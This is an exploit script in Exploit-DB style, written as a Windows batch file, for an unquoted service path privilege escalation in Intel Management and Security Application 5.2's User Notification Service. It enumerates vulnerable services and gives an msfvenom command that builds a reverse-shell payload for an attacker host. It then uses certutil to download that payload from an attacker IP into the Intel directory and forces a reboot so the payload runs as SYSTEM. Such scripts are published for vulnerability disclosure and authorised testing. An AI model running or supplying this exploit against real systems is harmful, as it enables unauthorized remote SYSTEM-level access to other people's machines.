# Exploit Title: Intel(r) Management and Security Application 5.2 - User Notification Service Unquoted Service Path # Date: 2020-08-28 # Exploit Author: Metin Yunus Kandemir # Vendor Homepage: https://www.intel.com/ # Version: v5.2 # Tested on: Windows 7 # Source: https://www.totalpentest.com/post/intel-r-user-notification-service-unquoted-service-path-privilege-escalation @ECHO OFF ECHO ======================================================================================================================= ECHO INTEL(R) MANAGEMENT AND SECURITY APPLICATION USER NOTIFICATION SERVICE 5.2 - Unquoted Service Path Privilege Escalation ECHO ======================================================================================================================= ECHO [+] executing command: "wmic service get name,pathname,displayname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """" wmic service get name,pathname,displayname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """ sc qc UNS ECHO [+] Your mandoroty level is: whoami /groups | findstr /B /C:"Mandatory Label" ::Create Privacy.exe with following commands on your kali and serve it on port 80. Also listen port 443 with netcat for reverse shell. ::msfvenom -p windows/shell/reverse_tcp LHOST=<Your IP Address> LPORT=443 -f exe > Privacy.exe ECHO [?] ECHO [+] Enumeration was completed successfully. ECHO [?] If you create Privacy.exe under Intel directory with your privileges, you might be able to get SYSTEM reverse shell after windows was rebooted. PAUSE certutil -urlcache -split -f http://<YOUR_IP_ADDRESS>/Privacy.exe "C:\Program Files (x86)\Common Files\Intel\Privacy.exe" IF EXIST "C:\Program Files (x86)\Common Files\Intel\Privacy.exe" ( ECHO [+] The download was successful. ) ELSE ( ECHO [-] The download was unsuccessful. PAUSE ) ECHO [!] If you continue, system will reboot. PAUSE shutdown /r /t 0 ::code end #Exploit: A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.